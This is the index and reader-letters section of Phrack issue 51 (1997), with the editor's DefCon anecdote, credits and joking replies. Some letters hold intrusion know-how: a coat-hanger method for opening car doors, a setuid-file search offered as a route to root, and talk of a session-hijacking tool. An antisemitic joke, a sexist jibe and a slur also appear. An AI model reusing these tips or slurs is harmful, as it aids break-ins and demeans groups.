17571 lines
704 KiB
Plaintext
17571 lines
704 KiB
Plaintext
![]() |
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 01 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K 5 1 I N D E X
|
|||
|
|
|||
|
|
|||
|
--------[ Registered Hex Offenders
|
|||
|
|
|||
|
|
|||
|
DefCon. I love DefCon. Why do I love DefCon? Several reasons. I get to
|
|||
|
see many people I do not normally get to hang out with. And it's in Las Vegas.
|
|||
|
Ok, I guess that's two reasons. I love DefCon for two reasons.
|
|||
|
|
|||
|
Las Vegas is a blast. No two ways about it. Free drinks _while_ you get
|
|||
|
FREE money. What more can anymore ask for?!@ Sex? Gluttony? Corruption?
|
|||
|
Greed? Thin facades? Tackiness? Friends, it's _all_ there.
|
|||
|
|
|||
|
Vegas is certainly not for everyone. It's not for the timid, the shy or
|
|||
|
the compulsive. Vegas can and will eat you alive, if you are not careful.
|
|||
|
Even the most vigilant often find themselves victimized by Sin City... As I
|
|||
|
write this paragraph, my memory draws me back... back to that first week in
|
|||
|
July 1997, towards the end of DefCon V, when a good friend and seasoned Vegas
|
|||
|
adventurer came knocking on my door at half past 5am...
|
|||
|
|
|||
|
He was armed with a coke in one hand, a whiskey in the other. The fact
|
|||
|
that he was noticely unencumbered by money caught my eye. The Casino Demons
|
|||
|
had relieved him of that. He was in need of a safe place to camp for a few
|
|||
|
hours... I happily obliged. I attempted to make his stay with us as
|
|||
|
comfortable as possible... However, my friend refused all attempts at
|
|||
|
hospitality. He was still deep in the throes of what professional Vegas
|
|||
|
travelers call 'The Zone'. He was in a dull haze, a casino-atmosphere-induced
|
|||
|
catatonic state, in which external stimuli are, for the most part, ignored.
|
|||
|
There was little I could do for him, so I bedded down... And there he sat,
|
|||
|
engulfed in darkness, deep within his own world... Eventually, exhaustion
|
|||
|
overcame him, and he drifted into an uncomfortable sleep... Early in the
|
|||
|
morning, he arose, determined to retake his reappropriated wealth.
|
|||
|
|
|||
|
It took me a few tries of getting raped by that town before I realized how
|
|||
|
it works, and, more importantly, how to work it.
|
|||
|
|
|||
|
It can be summed up in one word. An abbreviation even. COMPS. Vegas is
|
|||
|
all about being compensated for. Compensation for being in out in the fucking
|
|||
|
desert. Compensation for staying in some shitty hotel. Compensation for
|
|||
|
winning some of their money. Compensation for losing ALL of your money.
|
|||
|
Learning how to have a good time in Vegas means learning how to get comped.
|
|||
|
In order to be comped, you must either a) be some one important, b) know
|
|||
|
someone important, or the most common occurrence, c) comp other people.
|
|||
|
|
|||
|
This past DefCon, I had my room upgraded from a single-bed room on the
|
|||
|
first floor, to a double-bed on the second, and then from that to a $400/nite
|
|||
|
suite somewhere up in the 20's (you know, the kind with the double doors).
|
|||
|
It's all about knowing how to work the system. Knowing how to get comped.
|
|||
|
Complaining about something is often a good way to get something for free in
|
|||
|
Vegas. So is being put out in some fashion or another. Go ahead and watch
|
|||
|
Casino and Swingers a few dozen times and you will get the idea...
|
|||
|
|
|||
|
|
|||
|
A word about this issue. In my opinion, and the opinion of many people
|
|||
|
way cooler then me, this is the Best Phrack Issue Ever (TM). Ok. Now. In
|
|||
|
Issue 48, I know I promised timely dissemination. However, I am an older /
|
|||
|
wiser Phrack editor now, and, what it comes down to, is that timeliness is not
|
|||
|
always possible. Not when there is a minimum level of excellence that must be
|
|||
|
preserved. This issue is a perfect example of that phenomena. We have
|
|||
|
amassed some seriously cool shit this time around. Technical excellence
|
|||
|
abounds here, and if we are a few weeks late, I think it should be well worth
|
|||
|
the wait. We've got several ground breaking articles, a great deal of source,
|
|||
|
fully nude photos of Milla Jovovich (not available in ASCII-Phrack) and a new
|
|||
|
format. Commentary, as always, is appreciated.
|
|||
|
|
|||
|
What makes this (or any) issue so damned good? Simple. The incredible
|
|||
|
array of talented individuals that graciously lend their time to writing
|
|||
|
articles for us. I just want to give a word of thanks to you guys: past,
|
|||
|
present and future. Without you, Phrack would slip quietly into the night...
|
|||
|
This issue, a special werdup to halflife for the technically superior work
|
|||
|
he contributed for P51, thrice over.
|
|||
|
|
|||
|
Phrack 51 comes atcha power-packed with new streamlined formatting! We
|
|||
|
cut out colons, added a surplus of dashes and brackets, and b00m! Less fluff,
|
|||
|
more EDGE. Areodynamicphrack. Europhrack. _Slickphrack_.
|
|||
|
|
|||
|
Bad to the bone and shot to the heart when you think about Phrack, you touch
|
|||
|
yourself.
|
|||
|
|
|||
|
Enjoy the magazine. It is for and by the hacking community. Period.
|
|||
|
|
|||
|
PS
|
|||
|
|
|||
|
The aforementioned gamblaholic ended up being comped three $20 meals, and a
|
|||
|
show (Lance Burton at the Monte Carlo). Man, that lucky son-of-a-bitch got to
|
|||
|
see Lance at the Carlo...
|
|||
|
|
|||
|
|
|||
|
-- Editor in Chief ------------[ route
|
|||
|
-- Nominal Editors ------------[ datastream cowboy, alhambra
|
|||
|
-- We've given up hope --------[ voyager
|
|||
|
-- Phrack World News ----------[ disorder
|
|||
|
-- Phrack Webpage Sloth -------[ loadammo
|
|||
|
-- Most Likely To Be Beaten ---|
|
|||
|
-- About the Head and Neck by -|
|
|||
|
-- Xanax ----------------------[ Nicki Jarecki
|
|||
|
-------- Elite ----------------> omerta
|
|||
|
-- Number One Crush -----------[ Milla Jovovich
|
|||
|
-- Extra Special Thanks -------[ halflife
|
|||
|
-- The Man on The Inside ------[ varak
|
|||
|
-- Gas Face Given -------------[ "Lunatic Unix with Tunics"
|
|||
|
-- Got owned? Shoulda used ---[ OpenBSD
|
|||
|
-- Shout Outs -----------------[ The Guild, r00t, The Death Vegetable, Swamp
|
|||
|
Ratte, prym, maverick, Cantor, nirva, The
|
|||
|
Army of the Twelve Monkeys, guyver, mycroft,
|
|||
|
Asriel, Theo Deraadt, X, Torquie, mudge.
|
|||
|
|
|||
|
Phrack Magazine V. 7, #51, September 01, 1997. ISSN 1068-1035
|
|||
|
Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved. Nothing
|
|||
|
may be reproduced in whole or in part without written permission from the
|
|||
|
editor in chief. Phrack Magazine is made available quarterly to the public,
|
|||
|
free of charge. Go nuts people.
|
|||
|
|
|||
|
|
|||
|
Subscription requests, articles, comments, whatever should be directed to:
|
|||
|
|
|||
|
phrackedit@phrack.com
|
|||
|
|
|||
|
Submissions to the above email address may be encrypted with the following key:
|
|||
|
|
|||
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
|||
|
Version: 2.6.2
|
|||
|
|
|||
|
mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
|
|||
|
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
|
|||
|
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
|
|||
|
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
|
|||
|
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
|
|||
|
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu
|
|||
|
Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
|
|||
|
=1iyt
|
|||
|
-----END PGP PUBLIC KEY BLOCK-----
|
|||
|
|
|||
|
As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out
|
|||
|
plaintext. You certainly can subscribe in plaintext.
|
|||
|
|
|||
|
|
|||
|
-------------------------[ T A B L E O F C O N T E N T S
|
|||
|
|
|||
|
1 Introduction Phrack Staff 9K
|
|||
|
2 Phrack Loopback Phrack Staff 45K
|
|||
|
3 Line Noise various 71K
|
|||
|
4 Phrack Prophile on Swamp Ratte Phrack Staff 14K
|
|||
|
5 File Descriptor Hijacking orabidoo 20K
|
|||
|
6 LOKI2 (the implementation) route 111K
|
|||
|
7 Juggernaut 1.0 - 1.2 patchfile route 11K
|
|||
|
8 Shared Library Redirection halflife 7K
|
|||
|
09 Bypassing Integrity Checking Systems halflife 11K
|
|||
|
10 Stealth RPC scanning halflife 7K
|
|||
|
11 The Art of Scanning fyodor 87K
|
|||
|
12 The Eternity Service Adam Back 118K
|
|||
|
13 Monoalphabetic cipher cryptanalysis mythrandir 16K
|
|||
|
14 Phrack Magazine Article Index Guide guyver 100K
|
|||
|
15 A Brief introduction to CCS7 Narbo 10K
|
|||
|
16 Phrack World News Disorder 83K
|
|||
|
17 extract.c Phrack Staff 3K
|
|||
|
|
|||
|
723K
|
|||
|
|
|||
|
-----------------------------------------------------------------------------
|
|||
|
|
|||
|
"...Who's the big winner tonight...? Mikey! Mikey wins! Mikey's the big
|
|||
|
winner...!"
|
|||
|
- Trent "Double Down" (Vince Vaughn)
|
|||
|
|
|||
|
|
|||
|
*jtb* phrack's like wine, it gets better with age
|
|||
|
*jtb* as opposed to, like, decomposing.
|
|||
|
|
|||
|
|
|||
|
"...Daddy needs a new pair of Jews..."
|
|||
|
- loadammo, clamping a mighty hand down upon my shoulder and a mighty
|
|||
|
hand down upon alhambras shoulder, Blackjack Tables, DefCon V, Las
|
|||
|
Vegas, NV.
|
|||
|
|
|||
|
-----------------------------------------------------------------------------
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 02 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K 51 L O O P B A C K
|
|||
|
|
|||
|
|
|||
|
--------[ Phrack Staff
|
|||
|
|
|||
|
|
|||
|
|
|||
|
0x1>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Issue 50 proves that Phrack _is_ back, and better than ever.
|
|||
|
Congratulations to you and the rest of the Phrack staff for putting
|
|||
|
together what I think is by far the most informative issue to date. The
|
|||
|
quality of the articles and code (YES! Lots of code!) reflects the hard
|
|||
|
work and commitment that obviously went in to this issue. I could go on,
|
|||
|
but I'm all out of lip balm.
|
|||
|
|
|||
|
Thank you!
|
|||
|
_pip_
|
|||
|
|
|||
|
|
|||
|
[ Thank you. We aim to please. ]
|
|||
|
|
|||
|
0x2>-------------------------------------------------------------------------
|
|||
|
|
|||
|
{ ...Bugtraq Phrack 50 announcement deleted... }
|
|||
|
|
|||
|
So What?
|
|||
|
Who cares? get this crap off of the mailing list.
|
|||
|
phrack is as much trash as 2600 or any other
|
|||
|
little idiot magazine.
|
|||
|
|
|||
|
|
|||
|
[ Thank you. We aim to please. ]
|
|||
|
|
|||
|
0x3>-------------------------------------------------------------------------
|
|||
|
|
|||
|
juggernaut is way cool, man.
|
|||
|
|
|||
|
minor bug: you dont unset IFF_PROMISC on exit, so it's not terribly stealthy,
|
|||
|
but it's no big deal to fix.
|
|||
|
|
|||
|
anyway. cool.
|
|||
|
|
|||
|
.techs.
|
|||
|
|
|||
|
|
|||
|
[ Although Juggernaut is *not* meant to be a 'covert' program you are
|
|||
|
completely right about that. I should unset promiscuous mode when the
|
|||
|
program exits. In fact, in version 1.2 (patchfile available in this
|
|||
|
issue) I include this very thing. ]
|
|||
|
|
|||
|
0x4>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hi!
|
|||
|
I've got the p50.tgz and well, played a little with jugernaut.
|
|||
|
It's realy cool but:
|
|||
|
1) It doesn't compile so clean. You've forgot to #include
|
|||
|
<linux/netdevice.h> before <linux/if_arp.h>
|
|||
|
2) The spy connection part is not quite cool because you
|
|||
|
sniff and dump all the stuff that is comeing from the dest. port
|
|||
|
and dest. host ...
|
|||
|
So if U try 2 spy say:
|
|||
|
193.226.34.223 [4000] 193.226.62.1 [23]
|
|||
|
U spy in fact all the stuff that is comeing from 193.226.62.1 [23] for
|
|||
|
ALL the conn. made to 193.226.62.1 on the 23 (telnet) port.
|
|||
|
This will cause a cool mess on the screen.
|
|||
|
I've tried 2 restrict the spying by introduceing a new cond.
|
|||
|
iphp->daddr==target->saddr in net.c ... it brocked the spy routine
|
|||
|
|
|||
|
Maybe U'll fix somehow that thing..
|
|||
|
|
|||
|
All my best regards,
|
|||
|
Sandu Mihai
|
|||
|
|
|||
|
|
|||
|
[ <linux/if_arp.h> includes <linux/netdevice.h>. The compilation of the
|
|||
|
program should go smoothly on any linux 2.0.x based system. Version 1.2
|
|||
|
also fixes the TCP circuit isolation problem you allude to... ]
|
|||
|
|
|||
|
0x5>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Thanks!
|
|||
|
|
|||
|
This is a very impressive tool! Brilliant work!
|
|||
|
|
|||
|
Thank you,
|
|||
|
|
|||
|
--Craig
|
|||
|
|
|||
|
|
|||
|
[ Thank you. ]
|
|||
|
|
|||
|
0x6>-------------------------------------------------------------------------
|
|||
|
|
|||
|
I'm just writing this to say thanx for putting out such a kickass publication.
|
|||
|
Down here in 514 it's fuckin dead, you mention hacking and half the people
|
|||
|
don't have a clue what Unix is.It's fuckin pathetic, but i'm glad to say
|
|||
|
that your mag has helped a lot and i look forward to future issues, you guys
|
|||
|
really do make a difference in the hacking community. Thanx.
|
|||
|
|
|||
|
Snake Eyes
|
|||
|
|
|||
|
[ Amen to that. ]
|
|||
|
|
|||
|
0x7>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hi! =8)
|
|||
|
|
|||
|
Why don't you (at Phrack) compile an updated Pro-Phile on known H/P
|
|||
|
Groups like the one on issue #6 ?
|
|||
|
So we - the readers - can know something more about the ACTUAL scene
|
|||
|
(but perhaps it's not worth - ppl's sick of all that 3l33t d00dz ;)
|
|||
|
|
|||
|
I really appreciated that dox & srcs on spoofing, D.O.S., etc.
|
|||
|
HIGH technical quality, sources, articles, news.... and it's free! :P
|
|||
|
Ahh that's life! ;)
|
|||
|
|
|||
|
However, great job with the latest Phrack issues.
|
|||
|
To quote a friend of mine (talking of Phrack Magazine)...
|
|||
|
|
|||
|
> It's improved a lot with Deamon9 in command....
|
|||
|
|
|||
|
K, that's all.
|
|||
|
**PHRACK RULEZ!** (I had to say that :)
|
|||
|
Oh... and sorry for my english!
|
|||
|
|
|||
|
Cya....
|
|||
|
|
|||
|
-Axl-
|
|||
|
|
|||
|
[ Not a bad idea. Perhaps someone would like to do an article on
|
|||
|
the existing groups out there for P52? ]
|
|||
|
|
|||
|
|
|||
|
0x8>-------------------------------------------------------------------------
|
|||
|
|
|||
|
I would like to know what you suggest to get me headed in the right
|
|||
|
direction reguarding the compromise of computers on the internet.
|
|||
|
any information that you would be able to spare would be most appreaciated.
|
|||
|
atomicpunk.
|
|||
|
|
|||
|
[ It's *all* about compromise. It's something you have to do. Be fair to
|
|||
|
them. Listen to them. Don't shut them out of your life. They are
|
|||
|
wonderful creatures... It's a give and take thing and sometimes, yes, you
|
|||
|
*have* to compromise -- that's part of having a mature relationship. ]
|
|||
|
|
|||
|
|
|||
|
0x9>-------------------------------------------------------------------------
|
|||
|
|
|||
|
I recently locked into my car so i called a friend to come help me
|
|||
|
when the slim jim was no help he decided to try another less known
|
|||
|
method.
|
|||
|
|
|||
|
We simply took a stiff metal coat hanger and straightened it out and
|
|||
|
made a small loop in it then we took a small speaker wire about 3 feet
|
|||
|
long and tied a loop into one end so it would slide to make the loop
|
|||
|
smaller or larger.
|
|||
|
|
|||
|
Then you take the wire and run it in through the loop in the hanger
|
|||
|
and pry the top edge of the car door open and slide both looped ends
|
|||
|
through holding onto the unlooped ends.
|
|||
|
|
|||
|
then you use the hanger to position the loop in the speaker wire
|
|||
|
around the door lock once you have the loop into position you hold
|
|||
|
the hanger steady and gradualy pull the loop tight around the lock
|
|||
|
once the loop is tight you just pull up on the hanger.
|
|||
|
|
|||
|
This works on most all vehicles with top door locks and with a little
|
|||
|
prep. and practice can be done in under 2 mins. also its less
|
|||
|
conspicious and easier to get than a slim jim. and they are cheap
|
|||
|
so no one care to toss the out after breaking into an entire lot of cars.
|
|||
|
|
|||
|
Hope you found this phile worth while
|
|||
|
C'ya
|
|||
|
The Stony Pony
|
|||
|
|
|||
|
|
|||
|
[ Aspiring young car thieves among us thank you; however if you
|
|||
|
lock yourself in the car again, you might try unlocking the door
|
|||
|
manually. ]
|
|||
|
|
|||
|
0xa>-------------------------------------------------------------------------
|
|||
|
|
|||
|
HOW YOU KNOW YOUR A TRY HARD HACKER
|
|||
|
-------------------------------------
|
|||
|
|
|||
|
|
|||
|
By [Xtreme]
|
|||
|
|
|||
|
|
|||
|
I just wrote this to tell all you try hard hackers something.
|
|||
|
|
|||
|
1) You goto other hacker pages on the web.
|
|||
|
2) You think loading a program that waz made by a hacker is hacking.
|
|||
|
3) The only thing you do is get the lastest passwd file from your isp.
|
|||
|
4) You goto channels like #hack and ask for passwd files.
|
|||
|
5) You don't know where to get warez.
|
|||
|
6) You always telnet to hosts and type
|
|||
|
|
|||
|
login: root
|
|||
|
password: root
|
|||
|
|
|||
|
and stuff like that.
|
|||
|
|
|||
|
7) You brag about how you are a hacker.
|
|||
|
8) You don't know C.
|
|||
|
9) Your a girl.
|
|||
|
10) You don't know what's a shell.
|
|||
|
11) You don't know what Linux, FreeBSD and all those other UNIX's are.
|
|||
|
12) You don't have a UNIX OS.
|
|||
|
13) You think when using IRC war scripts, your hacking.
|
|||
|
14) Asking how to hack other people's computer.
|
|||
|
15) You try cracking a shadowed passwd file.
|
|||
|
16) You don't know if a passwd file is shadowed or not.
|
|||
|
17) You ask what is a T1.
|
|||
|
18) You ask how to email bomb and you think email bombing is a form of hacking.
|
|||
|
19) Your learning BASIC language.
|
|||
|
20) You think you can get into hacking straight away.
|
|||
|
21) You don't know how to set up an eggdrop bot.
|
|||
|
22) You think .mil stands sites stand for a country.
|
|||
|
|
|||
|
|
|||
|
[ That is without a doubt, the dumbest thing I have ever read in my life.
|
|||
|
Not only do I award you no points, but we are all now dumber having read
|
|||
|
that. May God have mercy on your soul. ]
|
|||
|
|
|||
|
0xb>-------------------------------------------------------------------------
|
|||
|
|
|||
|
What command do I use to make you denial of service package work?
|
|||
|
|
|||
|
|
|||
|
[ You hit yourself in the head with a hammer. ]
|
|||
|
|
|||
|
0xc>-------------------------------------------------------------------------
|
|||
|
|
|||
|
I was scanning the 413 xxx 99XX range and I found some #'s. I have
|
|||
|
no idea what they do. I was wondering if you could help me out.
|
|||
|
Maybe call them and see what you find or someting.
|
|||
|
|
|||
|
(413) xxx-99xx
|
|||
|
(413) xxx-99xx
|
|||
|
(413) xxx-99xx These are all fax #s, I think
|
|||
|
(413) xxx-99xx
|
|||
|
|
|||
|
(413) xxx-99xx goes beep beep beep
|
|||
|
|
|||
|
(413) xxx-99xx goes beeeep
|
|||
|
|
|||
|
(413) xxx-99xx auto foward I think
|
|||
|
|
|||
|
(413) xxx-99xx goes beeep beeep
|
|||
|
|
|||
|
|
|||
|
[ I tried calling these but I got no answer. Maybe the 'X' on my phone
|
|||
|
is case sensitive? ]
|
|||
|
|
|||
|
0xd>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Sir,
|
|||
|
I would like to know how could I get root permission from a simple user.
|
|||
|
I have read that this can be accomplished by setuid programs, and I have read
|
|||
|
an article describing the way this can be done in Phrack Magazine. Still I
|
|||
|
couldn't gain root access. I would be very interested in finding ways of doing
|
|||
|
this on Irix 5.2 or Solaris 2.5. If you know anything about this, please
|
|||
|
send me an e-mail. If you know any resources on the Web that details the use
|
|||
|
of setuid programs in order to get root access, please tell me.
|
|||
|
|
|||
|
|
|||
|
[ P49-14 ]
|
|||
|
|
|||
|
0xe>-------------------------------------------------------------------------
|
|||
|
|
|||
|
>AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAY...!<
|
|||
|
|
|||
|
Mich, not Mitch. "Mich" is short for "Michel."
|
|||
|
|
|||
|
|
|||
|
M. E. Kabay, PhD, CISSP (Kirkland, QC)
|
|||
|
Director of Education
|
|||
|
National Computer Security Association (Carlisle, PA)
|
|||
|
http://www.ncsa.com
|
|||
|
|
|||
|
[ No, Mike is short for Michael. ]
|
|||
|
|
|||
|
0xf>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Your zine is the best
|
|||
|
Please send it to Psycho Al1@aol.com
|
|||
|
|
|||
|
The Psychotic Monk
|
|||
|
|
|||
|
PS:Aohell rulez
|
|||
|
|
|||
|
|
|||
|
[ You are an idiot. ]
|
|||
|
|
|||
|
0x10>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hi, Phrack people!
|
|||
|
|
|||
|
Great job on issue 50! Nice magazine. Article 'bout TTY hijacking is really
|
|||
|
superb.
|
|||
|
|
|||
|
I have just one question to you. Is there any holes on target system in this
|
|||
|
situation? There's a server, running freeBSD 2.1.5, with a shadowed passwords.
|
|||
|
I've got a dial-up account on that machine as a simple user. What bugs can I
|
|||
|
use for having root privileges?
|
|||
|
|
|||
|
Best wishes from Ukraine!! OmegA
|
|||
|
|
|||
|
|
|||
|
[ find / -perm -4000 -print ]
|
|||
|
|
|||
|
0x11>-------------------------------------------------------------------------
|
|||
|
|
|||
|
hello... long-time reader, first-time writer:
|
|||
|
|
|||
|
i know that all "submissions" are to be encrypted... and i should be
|
|||
|
encrypting anyways, but i'll make it quick ... besides, this isn't
|
|||
|
really a "submission..."
|
|||
|
|
|||
|
congrats on reaching the 50th issue mark, and congrats on an
|
|||
|
excellent ish!
|
|||
|
|
|||
|
i just a quick question. i would like to reprint the <soapbox>
|
|||
|
for issue #50 on my web page, with a hypertext link to the
|
|||
|
Official Phrack Homepage (http://www.fc.net/phrack/ - correct?).
|
|||
|
I think it says brings up some important points, and since it's
|
|||
|
copywrited, and you sren't losers, i'd ask you (it's not like a
|
|||
|
simple copywrite has stopped anyone before)!
|
|||
|
|
|||
|
thanks,
|
|||
|
lenny
|
|||
|
|
|||
|
|
|||
|
[ A simple copyright may not stop people, but the simple restitution
|
|||
|
remanded by courts might. However, go ahead and put a hypertext link.
|
|||
|
The official webpage will be at phrack.com/net/org, SOON. ]
|
|||
|
|
|||
|
0x12>-------------------------------------------------------------------------
|
|||
|
|
|||
|
In Volume Four, Issue Forty-One, File 3 of 13, Supernigger was featured
|
|||
|
in your Phrack Pro-Phile. Whatever happened to him? Did he "grow up and
|
|||
|
get a real job" or is he still lurking around?
|
|||
|
|
|||
|
- Styx
|
|||
|
|
|||
|
|
|||
|
[ Both. ]
|
|||
|
|
|||
|
0x13>-------------------------------------------------------------------------
|
|||
|
|
|||
|
People @ Phrack:
|
|||
|
|
|||
|
In Phrack #50 in the file 'Linenoize' Khelbin wrote an article about remote
|
|||
|
BBS hacking, namely using Renegade's default 'PKUNZIP -do' command overwrite
|
|||
|
the userbase with your own ...
|
|||
|
|
|||
|
For some strange reason, while renegade is booted, and if it runs PKUNZIP -do
|
|||
|
the procedure will NOT work... but the procedure DOES work when Renegade is
|
|||
|
down at the Dos Prompt..?
|
|||
|
|
|||
|
Does Renegade extract files into memory or something while testing for
|
|||
|
integrity? -8) .. I tried this out on 10-04, 5-11 and even
|
|||
|
04-whatever-the-fuck-that-version-was and it didn't work.. I think Khelbin
|
|||
|
needs help for his chronic crack addiction since I can't find any way possible
|
|||
|
to get his article to work..
|
|||
|
|
|||
|
op: Taos BBS
|
|||
|
|
|||
|
~~~ Telegard v3.02
|
|||
|
|
|||
|
|
|||
|
[ We dunno. Anyone else have an answer? ]
|
|||
|
|
|||
|
0x14>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Regarding Xarthons submission about Linux IP_MASQ in Phrack 50...
|
|||
|
|
|||
|
The masquerading code is not designed for security. Hardwiring RFC1918
|
|||
|
addresses into the IP_MASQ code is not a clever idea for two reasons:
|
|||
|
|
|||
|
1) It diminishes the usefulness of the code. I have used masquerading to
|
|||
|
keep things running when my company changed internet providers. I
|
|||
|
masqueraded our old _valid_ IP range. Other people may come up with
|
|||
|
other valid uses, like providing redundancy through two ISPs.
|
|||
|
2) The masquerading code is part of the Linux packet filter, which can
|
|||
|
certainly be configured to prevent spoofing, a quite a bit more.
|
|||
|
|
|||
|
If the static packet filter and the masquerading code are used together
|
|||
|
they can provide as much security as a 'dynamic' filtering firewall like
|
|||
|
Firewall-1 in many cases. A very short 'HOW-TO':
|
|||
|
|
|||
|
1) Put spoofing filters on all interfaces. Only allow incoming packets
|
|||
|
to the external interface if the destination address is that of the
|
|||
|
external interface (that's the address the masquerading code inserts as the
|
|||
|
source address of outgoing packets).
|
|||
|
|
|||
|
2) Insert rule(s) in the forwarding filter to masquerade your outgoing
|
|||
|
packets. You do not need to route incoming replies to masqueraded
|
|||
|
packets, that happens auto-magically. Deny everything else (and _log_).
|
|||
|
|
|||
|
3) Make sure the gateway does not run anything that leaves you
|
|||
|
vulnerable. Don't run NFS, the portmapper etc. Update sendmail, bind to
|
|||
|
the latest versions if you run them.
|
|||
|
|
|||
|
4) Disable telnet, and use 'ssh' for maintenance. If you must support
|
|||
|
incoming telnet connections through the firewall install the TIS firewall
|
|||
|
toolkit, and use one-time passwords.
|
|||
|
|
|||
|
5) Run 'COPS', 'Tripwire'.
|
|||
|
|
|||
|
6) Read a good book about Internet security, and make sure you
|
|||
|
understand all the issues involved before you configure _any_ firewall,
|
|||
|
even one with a GUI and a drool-proof manual.
|
|||
|
|
|||
|
I hope this is useful to some people.
|
|||
|
|
|||
|
Ge' Weijers (speaking for myself only)
|
|||
|
|
|||
|
0x15>-------------------------------------------------------------------------
|
|||
|
|
|||
|
You write in P49-06:
|
|||
|
|
|||
|
... The only sure way to destroy this
|
|||
|
channel is to deny ALL ICMP_ECHO traffic into your network.
|
|||
|
|
|||
|
No. It suffices to clear the content of the packets
|
|||
|
when passing the firewall.
|
|||
|
|
|||
|
|
|||
|
ralf
|
|||
|
|
|||
|
[ True enough. However, by doing this you remove the RTT info from
|
|||
|
the ICMP echos which will break some implementations which rely on it. ]
|
|||
|
|
|||
|
0x16>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hi, I<>m a Wannabe, maybe you would call me and idiot.
|
|||
|
Where do you guys hang out, IRC? Wich channel, #supreme? Wich server?
|
|||
|
Know any good trix for me how to learn more about hacking?
|
|||
|
|
|||
|
Please answer my letter, I know that you get lots of letters, but
|
|||
|
please!!
|
|||
|
|
|||
|
[ EFNet, #phrack ]
|
|||
|
|
|||
|
0x17>-------------------------------------------------------------------------
|
|||
|
|
|||
|
You can<61>t realy say that IRC is for loosers cuz in Phrack 50 I saw an
|
|||
|
article with some text taken from IRC, and you were logged in.
|
|||
|
|
|||
|
[ We are losers. Ergo, yes we can. ]
|
|||
|
|
|||
|
Which good hack books, UNIX books or things like that do you recommend.
|
|||
|
|
|||
|
Thank You For An Answer!!
|
|||
|
|
|||
|
[ Anything Addison Wesley or ORA. Also, many of the PTR/PH books. ]
|
|||
|
|
|||
|
0x18>-------------------------------------------------------------------------
|
|||
|
|
|||
|
I am writing to inquire about the fate of Pirate Magazine
|
|||
|
and how I might contact it's creators. It seems to have been out of
|
|||
|
circulation since 1990 and I was hoping to look at possibly organizing
|
|||
|
some kind of initiative to revive this excellent publication. I thought
|
|||
|
first to turn to Phrack magazine. Thanx for your time.
|
|||
|
|
|||
|
Joong Gun
|
|||
|
|
|||
|
[ Anyone have any information? ]
|
|||
|
|
|||
|
0x19>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hello,
|
|||
|
|
|||
|
I just got Phrack 50 and loved it....It is the first one I've
|
|||
|
got. I was wondering if you guys know about any other newsletters or
|
|||
|
magazines that are sent to your e-mail address or you can get off the web on
|
|||
|
a regular basis, like Phrack. thanX
|
|||
|
|
|||
|
[ Other magazines come and go on a pretty regular basis. Phrack is
|
|||
|
eternal. Phrack is all you need. ]
|
|||
|
|
|||
|
0x1a>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Please help me. If I can't join your club, please let me learn from you. I
|
|||
|
am interested in both Program hacking and remote access.
|
|||
|
|
|||
|
Thanks.
|
|||
|
|
|||
|
quattro
|
|||
|
|
|||
|
[ You join our club if you can find our secret clubhouse. ]
|
|||
|
|
|||
|
0x1b>-------------------------------------------------------------------------
|
|||
|
|
|||
|
hi. This is from a guy you probably will never hear of again, and
|
|||
|
definantly have never heard of already. I wanna ask you a question. At
|
|||
|
my school, people write crap on their backpacks with witeout. I have
|
|||
|
never done this for 2 reasons
|
|||
|
|
|||
|
1) I dont wanna be grouped with the poseur metalheads, etc who write
|
|||
|
"Pantera" and "666" and "Satan" etc but cannot name a song of thiers,
|
|||
|
and/or go to church....
|
|||
|
|
|||
|
2) I dont wanna be grouped with the wanna be hackers who write stuff
|
|||
|
like Anarchy symbols, "Aohell" "Kaboom" and the such, because thats just
|
|||
|
plain lame. You have to feel sorry for people who think they are elite
|
|||
|
because they can mailbomb somebody.
|
|||
|
|
|||
|
Another reason I have never written anything is I havent found anything
|
|||
|
worht advertising. Now i have, I wanna write "The guild" or something to
|
|||
|
that extennt maybe "r00t" or something. I have not done this for i do
|
|||
|
not want to piss you off (indirectly something may get to you about it.
|
|||
|
It could happen, remember the 6 degrees of seperation? hehehe). If this
|
|||
|
is ok with you, lemme know please. (cad@traveller.com) Also, if your
|
|||
|
wondering why im mailing this to you alone, it is because you are a
|
|||
|
fucking baddass. heh. Well, lemme know whenever ok? thanks.
|
|||
|
|
|||
|
(I know i have an absence of punctuation, i'm in a hurry and I have
|
|||
|
homework)
|
|||
|
|
|||
|
|
|||
|
[ You have our permission to write r00t on your backpack. ]
|
|||
|
|
|||
|
0x1c>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
yes i want to learn how to hack and need to learn fast
|
|||
|
Js444 told me you can help
|
|||
|
will repay BIG
|
|||
|
thanks
|
|||
|
|
|||
|
[ How big? ]
|
|||
|
|
|||
|
